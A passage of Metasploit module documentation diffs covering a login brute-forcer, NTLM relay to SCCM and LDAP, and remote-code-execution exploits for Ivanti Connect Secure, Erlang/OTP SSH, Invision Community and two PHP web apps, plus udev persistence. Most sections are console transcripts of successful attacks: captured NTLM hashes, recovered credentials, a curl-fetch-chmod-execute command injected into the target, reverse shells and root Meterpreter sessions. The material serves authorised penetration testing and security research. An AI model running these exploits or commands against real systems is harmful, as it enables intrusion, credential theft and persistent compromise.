STOP_ON_SUCCESS=true SSL=true rport=443
```
1. Verify you get a login:
```
[+] 192.168.207.158:443 - Login Successful: root:opnsense
```
## Options
### BLANK_PASSWORD
Set to `true` if an additional login attempt should be made with an empty password for every user.
### BRUTEFORCE_SPEED
How fast to bruteforce, from 0 to 5
### PASSWORD
A specific password to authenticate with
### PASS_FILE
File containing passwords, one per line
### STOP_ON_SUCCESS
Stop guessing when a credential works for a host
### THREADS
The number of concurrent threads (max one per host)
### USERPASS_FILE
File containing users and passwords separated by space, one pair per line
### USER_FILE
File containing usernames, one per line
### VERBOSE
Whether to print output for all attempts
## Scenarios
```
msf6 auxiliary(scanner/http/opnsense_login) > options
Module options (auxiliary/scanner/http/opnsense_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD opnsense no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.207.161 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true yes Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI / yes The base path to the OPNSense application
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME root no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/http/opnsense_login) > run
[+] 192.168.207.161:443 - Login Successful: root:opnsense
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -10,7 +10,7 @@ on a given template.
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host
2. Start `msfconsole`
2. Do: `use auxiliary/server/relay/esc8`
3. Set the `RELAY_TARGETS` option to the AD CS Web Enrollment server
3. Set the `RHOSTS` option to the AD CS Web Enrollment server
4. Run the module and wait for a request to be relayed
## Options
@@ -0,0 +1,149 @@
## Description
This module creates an SMB server and then relays the credentials passed to it to SCCM's HTTP server (aka Management Point)
to gain an authenticated connection. Once authenticated it then attempts to retrieve the Network Access Account(s),
if configured, from the SCCM server. This requires a computer account, which can be added using the samr_account module.
This module is essentially the `get_naa_credential` module with relaying capability.
The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but
in practice is often misconfigured to have excessive privileges.
The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However,
it can also be requested by an existing computer account, which by default most user accounts are able to create.
## Vulnerable Application
This module can be tested using the GOAD environment. Setup instructions can be found here:
https://github.com/Orange-Cyberdefense/GOAD
## Module usage
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
1. From msfconsole
1. Do: `use auxiliary/admin/dcerpc/samr_account`
1. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
1. Run the module and see that a new machine account was added
Then use `ldap_query` to determine the `MANAGEMENT_POINT` and `SITE_CODE` values.
1. Do: `use gather/ldap_query`
1. Set: `DOMAIN` `RHOSTS` `USERNAME` `PASSWORD` `ACTION=RUN_SINGLE_QUERY` `QUERY_FILTER=(objectclass=mssmsmanagementpoint)` and `QUERY_ATTRIBUTES=cn,dnshostname,mssmssitecode`
1. Run the module and note the `dnshostname` and `mssmssitecode` values
Then the `auxiliary/server/relay/relay_get_naa_credentials` module can be used:
1. `use server/relay/relay_get_naa_credentials`
1. Set the `MANAGEMENT_POINT`, `SITE_CODE`
1. Run the module to obtain the NAA credentials, if present.
The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action.
See the Scenarios for a more detailed walk through
## Options
### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST
Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery.
### MANAGEMENT_POINT
The SCCM server.
### SITE_CODE
The Site Code of the management point.
### TIMEOUT
The number of seconds to wait for SCCM DB to update
## Scenarios
In the following example the user `ssccm.lab\eve` is a low-privilege user.
### Creating computer account
```
msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou
[*] Running module against 192.168.33.10
[*] 192.168.33.10:445 - Adding computer
[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-5FJM1832$
[+] 192.168.33.10:445 - Password: JpnYZ43YHqmoOLj9xBKdI9tVFgDXtfsu
[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128
[*] Auxiliary module execution completed
```
### Manual discovery of SITE_CODE and MANAGEMENT_POINT using domain credentials
```
msf6 auxiliary(gather/ldap_query) > run domain=sccm.lab rhosts=192.168.56.10 username=eve password=iloveyou action=RUN_SINGLE_QUERY QUERY_FILTER=(objectclass=mssmsmanagementpoint) QUERY_ATTRIBUTES=cn,dnshostname,mssmssitecode
[*] Running module against 192.168.56.10
[*] 192.168.56.10:389 Discovered base DN: DC=sccm,DC=lab
[*] Sending single query (objectclass=mssmsmanagementpoint) to the LDAP server...
CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab
=========================================================================
Name Attributes
---- ----------
cn SMS-MP-P01-MECM.SCCM.LAB
dnshostname MECM.sccm.lab
mssmssitecode P01
[*] Query returned 1 result.
[*] Auxiliary module execution completed
```
### Initiating SMB authentication from a Windows Host
Currently the SMB auth attempt must originate from a Windows Host, see: https://github.com/rapid7/metasploit-framework/issues/19951
```
net use \\192.168.56.1\foo /u:SCCM.LAB\DESKTOP-5FJM1832$ JpnYZ43YHqmoOLj9xBKdI9tVFgDXtfsu
```
### Running the module
```
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > msf6 exploit(windows/local/cve_2024_35250_ks_driver) > use relay_get
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/relay/relay_get_naa_credentials . normal Yes SMB to HTTP relay version of Get NAA Creds
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/server/relay/relay_get_naa_credentials
[*] Using auxiliary/server/relay/relay_get_naa_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(server/relay/relay_get_naa_credentials) > dns add-static mecm.sccm.lab 192.168.56.11
[*] Added static hostname mapping mecm.sccm.lab to 192.168.56.11
msf6 auxiliary(server/relay/relay_get_naa_credentials) > run rhost=192.168.56.11 smbdomain=sccm.lab MANAGEMENT_POINT=MECM.sccm.lab SITE_CODE=P01
[*] Auxiliary module running as background job 0.
[*] Checking endpoint on http://192.168.56.11:80/ccm_system_windowsauth/request
msf6 auxiliary(server/relay/relay_get_naa_credentials) > [*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 192.168.56.1
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
[*] Relaying to next target http://192.168.56.11:80/ccm_system_windowsauth/request
[+] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - Successfully authenticated against relay target http://192.168.56.11:80/ccm_system_windowsauth/request
[SMB] NTLMv2-SSP Client : 192.168.56.11
[SMB] NTLMv2-SSP Username : SCCM.LAB\DESKTOP-5FJM1832$
[SMB] NTLMv2-SSP Hash : DESKTOP-5FJM1832$::SCCM.LAB:42465e4768dcb113:c5248825d2326b730a23ff5986cc36d8:0101000000000000662037ebd78edb01344978b20c2f7baa0000000002000e005300430043004d004c0041004200010008004d00450043004d00040010007300630063006d002e006c006100620003001a004d00450043004d002e007300630063006d002e006c0061006200050010007300630063006d002e006c006100620007000800662037ebd78edb01060004000200000008003000300000000000000001000000002000002cd075c2fac7f6ea5a6a290f03ae2e6476afc69a4e85c3e91bab8a5ac0d7603e0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e00350036002e0031000000000000000000
[+] This your capitan speaking we've reached the on_relay_success method :)
[*] Got SMS ID: D61057A2-0B02-40B3-9ADC-F349BA5EC8C2
[*] Waiting 10 seconds for SCCM DB to update...
[*] Found policy containing secrets: http://<mp>/SMS_MP/.sms_pol?{e98163c7-7b3a-4c3d-bb69-2b398c492290}.2_00
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
[*] New request from 192.168.56.1
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
```
@@ -2,7 +2,7 @@
This module supports running an SMB server which validates credentials, and
then attempts to execute a relay attack against an LDAP server on the
configured RELAY_TARGETS hosts.
configured RHOSTS hosts.
It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check
(MIC). As a result, this will only work with NTLMv1. The module takes care of
@@ -65,11 +65,11 @@ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
LmCompatibilityLevel REG_DWORD 0x2
```
Finally run the relay server on msfconsole, setting the `RELAY_TARGETS` option
Finally run the relay server on msfconsole, setting the `RHOSTS` option
to the Domain Controller IP address.
```
run verbose=true RELAY_TARGETS=192.168.232.110
run verbose=true RHOSTS=192.168.232.110
```
You will have to coerce the Domain Computer and force it to authenticate to the
@@ -78,7 +78,7 @@ msfconsole server (see an example below).
## Options
### RELAY_TARGETS
### RHOSTS
Target address range or CIDR identifier to relay to.
@@ -107,7 +107,7 @@ The domain name used during SMB exchange.
### Start the relay server
```
msf6 > use auxiliary/server/relay/smb_to_ldap
msf6 auxiliary(server/relay/smb_to_ldap) > run verbose=true RELAY_TARGETS=192.168.232.110
msf6 auxiliary(server/relay/smb_to_ldap) > run verbose=true RHOSTS=192.168.232.110
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/relay/smb_to_ldap) >
[*] SMB Server is running. Listening on 0.0.0.0:445
@@ -0,0 +1,108 @@
## Vulnerable Application
This module exploits a Stack-based Buffer Overflow vulnerability in Ivanti
Connect Secure to achieve remote code execution (CVE-2025-22457). Versions
22.7R2.5 and earlier are vulnerable. Note that Ivanti Pulse Connect Secure,
Ivanti Policy Secure and ZTA gateways are also vulnerable but this module
doesn't support this software. Heap spray is used to place our payload in
memory at a predetermined location. Due to ASLR, the base address of
`libdsplibs` is unknown. This library is used by the exploit to build a ROP
chain and get command execution. As a result, the module will brute force this
address starting from the address set by the `LIBDSPLIBS_ADDRESS` option.
Since this module needs to fill the processes memory with a large structure
using the heap spray technique, it might take a very long time to succeed. The
execution can be tweeked with the options described below.
Also, since this will create many sockets on your system, you might need to
increase the file descriptor limit with `ulimit` (e.g. `ulimit -n 65535`).
### Installation Steps
Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series)
with a vulnerable Ivanti Connect Secure installed.
Note that it is not possible to download a trial version of a Virtual Appliance
unless you contact sales and request a demo.
## Verification Steps
1. Start msfconsole
1. Do: `use linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457`
1. Do: `exploit verbose=true lhost=<local host> rhosts=<remote host>`
1. You should get a Meterpreter session
## Options
### MAX_THREADS
The maximum number of threads to use when spraying (default: 32)
### WEB_CHILDREN
The number of `/home/bin/web` child processes the server uses. It's been
observed that the number of children the main process forks is directly related
to the number of vCPUs used by the system. Ivanti recommends having 4 vCPUs, so
the default number of children is set to 4.
Note that this option should be set properly, since the exploit needs to send enough
spray patterns to fill the memory of each child process. This is mandatory,
since we dont control which child process will be used to trigger the
vulnerability. If we send too much data, the process memory will overflow and
the process will crash. A `Broken pipe` socket error will happen in this case.
So, if the number of `WEB_CHILDREN` is too low (< vCPUs), we might not send
enough data to fill the memory of every child process and the exploit would
likely fail. This scenario cannot be detected since the child processes should
not crash. The module will simply continue to brute force with a different base
address of `libdsplibs`, without detecting the real issue. On the other hand,
if we send too much data, the child processes will crash and we will need to
start everything again with a lower `WEB_CHILDREN` value.
### LIBDSPLIBS_ADDRESS
The base address of libdsplibs that the module will start with when brute
forcing. It has been observed that this address is always in the range of
`0xf6525000`-`0xf6426000`, giving 256 possible options, since the alignment is
4KB (0x1000 bytes) bytes. As a result, the default value has been set to
`0xf6426000`.
### BRUTEFORCE_ATTEMPTS
The number of attempts to brute force the base address of libdsplibs (default: 255).
## Scenarios
### Ivanti Connect Secure version 22.7r2.4 b3597
In this example, the address of libdsplibs is known to speed up the process (0xf64c1000). Also, we know the target system runs with 2 vCPUs.
```
msf6 exploit(linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457) > exploit verbose=true lhost=192.168.222.97 rhosts=192.168.222.222 libdsplibs_address=0xf64c1000 web_children=2
[*] Command to run on remote host: curl -so ./pbPNUixqDiK http://192.168.222.97:8080/QAeBnT-6WHJiW5MJjwMrfA;chmod +x ./pbPNUixqDiK;./pbPNUixqDiK&
[*] Fetch handler listening on 192.168.222.97:8080
[*] HTTP server started
[*] Adding resource /QAeBnT-6WHJiW5MJjwMrfA
[*] Started reverse TCP handler on 192.168.222.97:4444
[*] 192.168.222.222:443 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.222.222:443 - Checking the product version for https://192.168.222.222:443
[+] 192.168.222.222:443 - The target appears to be vulnerable. Detected version: 22.7.2.3597
[*] 192.168.222.222:443 - shell_cmd: a;export LD_LIBRARY_PATH=/home/lib;curl -so ./pbPNUixqDiK http://192.168.222.97:8080/QAeBnT-6WHJiW5MJjwMrfA;chmod +x ./pbPNUixqDiK;./pbPNUixqDiK& #BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
[*] 192.168.222.222:443 - Targeting https://192.168.222.222:443
[*] 192.168.222.222:443 - Starting...
[*] 192.168.222.222:443 - Trying libdsplibs.so @ 0xf64c1000
[*] 192.168.222.222:443 - Making connections...
[*] 192.168.222.222:443 - Spraying...
[*] 192.168.222.222:443 - Triggering...
[*] 192.168.222.222:443 - Attempt #1
[*] 192.168.222.222:443 - Attempt #2
[*] Client 192.168.222.222 requested /QAeBnT-6WHJiW5MJjwMrfA
[*] Sending payload to 192.168.222.222 (curl/7.80.0-DEV)
[*] Meterpreter session 1 opened (192.168.222.97:4444 -> 192.168.222.222:16758) at 2025-04-30 21:36:49 +0200
[!] 192.168.222.222:443 - Exception: The connection with (192.168.222.222:443) timed out.
[*] 192.168.222.222:443 - Attempt elapsed time: 222.46986142301466 seconds
[*] 192.168.222.222:443 - Total elapsed time: 227.48146175200236 seconds
meterpreter > sysinfo
Computer : 192.168.222.222
OS : CentOS 7.9.2009 (Linux 4.17.00.35-selinux-jailing-production)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: nr
```
@@ -0,0 +1,43 @@
This is a post module that performs a persistence installation on a Linux system using [udev](https://en.wikipedia.org/wiki/Udev).
The persistence execution with be triggered with root privileges everytime a network interface other than l0 comes up.
## Verification Steps
1. Start msfconsole
2. Obtain a session on the target machine
3. `use exploit/linux/local/udev_persistence`
4. `set session -1`
5. `exploit`
## Module usage
```
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/udev_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/udev_persistence) > set session -1
session => -1
msf6 exploit(linux/local/udev_persistence) > exploit
[*] /usr/bin/udev-check-updates written
[*] /lib/udev/rules.d/99-update.rules written
msf6 exploit(linux/local/udev_persistence) >
[*] Sending stage (3045380 bytes) to 172.18.49.39
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
msf6 exploit(linux/local/udev_persistence) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter >
```
## Options
### BACKDOOR_PATH
Specify the path of the file containing the udev rules. (Default: /lib/udev/rules.d/99-update.rules)
### PAYLOAD_PATH
Specify the name of the payload to execute upon persistence. (Default: /usr/bin/udev-check-updates)
@@ -0,0 +1,172 @@
## Vulnerable Application
Erlang/OTP is a set of libraries for the Erlang programming language.
Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker
to perform unauthenticated remote code execution (RCE).
By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access
to affected systems and execute arbitrary commands without valid credentials. This issue is patched in
versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20.
### Introduction
This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH
servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to
establish a reverse shell on the target system.
The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd`
function without requiring authentication.
## Testing
### Vulnerable application
Execute the following commands:
```bash
git clone https://github.com/ProDefense/CVE-2025-32433
cd CVE-2025-32433
docker build -t cve-ssh:latest .
docker run -d -p 2222:2222 cve-ssh:latest
```
### Patched application
Execute the following commands:
```bash
git clone https://github.com/exa-offsec/ssh_erlangotp_rce
cd ssh_erlangotp_rce/patched
docker build -t patched-ssh:latest .
docker run -d -p 2223:2223 patched-ssh:latest
```
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/ssh/ssh_erlangotp_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `run`
## Scenarios
### Using linux commands (Target 0)
Use the linux commands CMD.
```
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > options
Module options (exploit/linux/ssh/ssh_erlangotp_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 2222 yes The target port (TCP)
SSH_IDENT SSH-2.0-OpenSSH_8.9 yes SSH client identification string sent to the server
Payload options (cmd/linux/https/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_CHECK_CERT false yes Check SSL certificate
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST 192.168.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_FILELESS is false:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME tVzpeXtmX no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > run
[*] Started reverse TCP handler on 192.168.0.1:4444
[*] 192.168.0.1:2222 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.0.1:2222 - Starting scanner for CVE-2025-32433
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[+] 192.168.0.1:2222 - The target is vulnerable.
[*] 192.168.0.1:2222 - Starting exploit for CVE-2025-32433
[+] 192.168.0.1:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[+] 192.168.0.1:2222 - Payload sent successfully
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> 172.17.0.2:35770) at 2025-04-27 20:23:02 +0400
meterpreter >
```
### Using unix commands (Target 1)
Use the unix commands CMD.
```
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > options
Module options (exploit/linux/ssh/ssh_erlangotp_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 2222 yes The target port (TCP)
SSH_IDENT SSH-2.0-OpenSSH_8.9 yes SSH client identification string sent to the server
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > run
[*] Started reverse TCP handler on 192.168.0.1:4444
[*] 192.168.0.1:2222 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.0.1:2222 - Starting scanner for CVE-2025-32433
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[+] 192.168.0.1:2222 - The target is vulnerable.
[*] 192.168.0.1:2222 - Starting exploit for CVE-2025-32433
[+] 192.168.0.1:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[+] 192.168.0.1:2222 - Payload sent successfully
[*] Command shell session 1 opened (192.168.0.1:4444 -> 172.17.0.2:59042) at 2025-04-27 20:24:41 +0400
whoami
root
```
## References
1. <https://x.com/Horizon3Attack/status/1912945580902334793>
2. <https://platformsecurity.com/blog/CVE-2025-32433-poc>
3. <https://github.com/ProDefense/CVE-2025-32433>
@@ -0,0 +1,123 @@
## Vulnerable Application
The **Online Car Rental System 1.0** is vulnerable to **Authenticated Remote Code Execution (RCE)** due to an insecure file upload mechanism. Specifically, the `changeimage1.php` endpoint in the admin panel does not validate uploaded file types, allowing authenticated users to upload arbitrary PHP scripts. These scripts can be accessed and executed via a predictable file path, leading to full remote code execution.
You can download the vulnerable software from the following link:
🔗 [Online Car Rental System 1.0 - Source Code](https://code-projects.org/online-car-rental-using-php-source-code/)
This module exploits the vulnerability by authenticating to the admin panel, uploading a malicious PHP payload
using the vulnerable endpoint, and executing it to gain remote access.
- **CVE**: [CVE-2024-57487](https://nvd.nist.gov/vuln/detail/CVE-2024-57487)
- **Author**: Aaryan Golatkar
- **Disclosure Date**: 13/01/2025
---
## Verification Steps
### Vulnerable Application Installation Setup
#### For Windows:
1. Start Apache and MySQL via the **XAMPP Control Panel**.
2. Extract the Online Car Rental System 1.0 source code.
3. Place the extracted folder inside `htdocs` (e.g., `C:\xampp\htdocs\carrental`).
4. Navigate to `http://localhost/phpmyadmin` in your browser.
5. Create a database (e.g., `carrental_db`), and import the SQL dump (`carrental.sql`) provided in the `database` directory.
6. Visit `http://localhost/carrental/` to verify installation.
#### For Linux:
1. Start services: `sudo systemctl start apache2 && sudo systemctl start mysql`
2. Install PHPMyAdmin: `sudo apt install phpmyadmin -y`
3. Edit `/etc/apache2/apache2.conf` and append:
```
Include /etc/phpmyadmin/apache.conf
```
4. Extract the project into `/var/www/html/`
5. Follow the same steps as Windows from here onward.
---
## Exploit Module Usage
### Start msfconsole and load the exploit:
```bash
msfconsole
use exploit/multi/http/carrental_fileupload_rce
```
### Set the required options:
```bash
set rhosts <target_ip>
set rport <port>
set targeturi /carrental
set username <admin_username> # Default: admin
set password <admin_password> # Default: Test@12345
set lhost <your_ip>
set lport <your_port>
```
---
## Checking Target Vulnerability
```bash
check
```
If vulnerable, you will see:
```
[+] <IP> The target appears to be the Online Car Rental System.
```
---
## Launching the Exploit
```bash
exploit
```
If successful, you will receive a Meterpreter shell.
---
## Scenarios
```bash
msf exploit(multi/http/carrental_fileupload_rce) > check
[*] Checking if target is vulnerable...
[+] 192.168.1.103:80 - The target appears to be the Online Car Rental System.
msf exploit(multi/http/carrental_fileupload_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] Uploading PHP Meterpreter payload as WxAqV7.php...
[+] Payload uploaded successfully!
[*] Executing the uploaded shell at /carrental/admin/img/vehicleimages/WxAqV7.php...
[*] Sending stage (40004 bytes) to 192.168.1.103
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615)
meterpreter > sysinfo
Computer : DESKTOP-1234
OS : Windows NT 10.0 build 19045 (Windows 10)
Meterpreter : php/windows
```
---
## Options
| Option | Required | Description |
|--------------|----------|-------------------------------------------------------|
| `TARGETURI` | Yes | The base path to the Car Rental System (e.g., `/carrental`) |
| `USERNAME` | Yes | Admin username (default: `admin`) |
| `PASSWORD` | Yes | Admin password (default: `Test@12345`) |
| `RHOSTS` | Yes | The target IP address |
| `RPORT` | Yes | The target web server port (default: 80) |
| `LHOST` | Yes | The local host to receive the reverse shell |
| `LPORT` | Yes | The local port to receive the reverse shell |
---
@@ -0,0 +1,68 @@
## Vulnerable Application
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability
(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
## Verification Steps
### Vulnerable Application Installation Setup
1. Install Clinic's Patient Management System on your web server.
- Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
2. Start `msfconsole` and load the exploit module:
```bash
msfconsole
use exploit/multi/http/clinic_pms_sqli_to_rce
```
3. Set the required options:
```bash
set rport <port>
set rhost <ip>
set targeturi /pms
```
4. Check if the target is vulnerable:
```bash
check
```
If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
```
[+] <IP> The target is vulnerable.
```
5. Set up the listener for the exploit:
```bash
set lport <port>
set lhost <ip>
```
6. Launch the exploit:
```bash
exploit
```
7. If successful, you will receive a PHP Meterpreter shell.
## Options
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
## Scenarios
```bash
msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > exploit
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Logged using SQL injection..
[*] Malicious file uploaded..
[*] Logged out..
[*] Logged using SQL injection..
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux
```
@@ -0,0 +1,134 @@
## Vulnerable Application
This Metasploit module exploits a remote-code injection in Invision Community ≤ 5.0.6 via the **theme editor**s `customCss` endpoint:
* **CVE-2025-47916**: malformed `{expression="…"}` allows evaluation of arbitrary PHP expressions in the `content` parameter.
### To replicate a vulnerable environment
1. **Download the pre-built Docker lab** (includes `Dockerfile`, `docker-compose.yml` and the IPS 5.0.6 application):
```bash
wget https://archive.org/download/ips-5.0.6/IPS-5.0.6.zip -O ips_5.0.6_lab.zip
mkdir ips_5.0.6_lab_dir
unzip ips_5.0.6_lab.zip -d ips_5.0.6_lab_dir
cd ips_5.0.6_lab_dir
```
2. **Bring up the stack**:
```bash
docker-compose up -d
```
3. **Complete the installer** by browsing to [http://localhost:7777](http://localhost:7777).
* You do **not** need a valid license key; you can enter any text and proceed.
* Use database host `db`, user `ipsuser`, password `ipspass`, database `ipsdb`.
## Verification Steps
1. **Check the installed version**:
```bash
curl -s http://localhost:7777/admin/install/eula.txt | head -n5
```
Expected output:
```
=============================[NOTE]=============================
Buy license at https://invisioncommunity.com/buy/self-hosted/
================================================================
IPS 5.0.6 (5000074)
=============================[NOTE]=============================
```
2. **In `msfconsole`**, confirm the modules `check` returns vulnerable:
```bash
use exploit/multi/http/invision_customcss_rce
set RHOSTS 127.0.0.1
set TARGETURI /
check
```
## Options
No option
## Scenarios
### PHP Meterpreter (in-memory)
```bash
use exploit/multi/http/invision_customcss_rce
set TARGET 0
set RHOSTS 127.0.0.1
set TARGETURI /
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
run
```
